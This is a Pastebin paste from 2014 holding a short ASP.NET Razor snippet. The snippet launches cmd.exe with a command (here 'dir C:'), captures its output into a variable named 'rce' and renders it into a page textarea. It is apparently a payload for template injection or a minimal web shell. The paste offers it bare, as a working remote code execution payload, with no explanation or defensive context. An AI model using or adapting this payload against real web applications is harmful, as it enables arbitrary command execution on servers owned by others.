Advertisement
Guest User

Untitled

a guest
Aug 21st, 2014
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.60 KB | None | 0 0
  1. @{
  2. System.Diagnostics.Process si = new System.Diagnostics.Process();
  3.         si.StartInfo.WorkingDirectory = @"c:\";
  4.         si.StartInfo.UseShellExecute = false;
  5.         si.StartInfo.FileName = "cmd.exe";
  6.         si.StartInfo.Arguments = "/c dir C:";
  7.         si.StartInfo.CreateNoWindow = true;
  8.         si.StartInfo.RedirectStandardInput = true;
  9.         si.StartInfo.RedirectStandardOutput = true;
  10.         si.StartInfo.RedirectStandardError = true;
  11.         si.Start();
  12.         string output = si.StandardOutput.ReadToEnd();
  13.         si.Close();
  14. var rce = output;
  15. }
  16.  
  17. <textarea>
  18. @rce
  19. </textarea>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement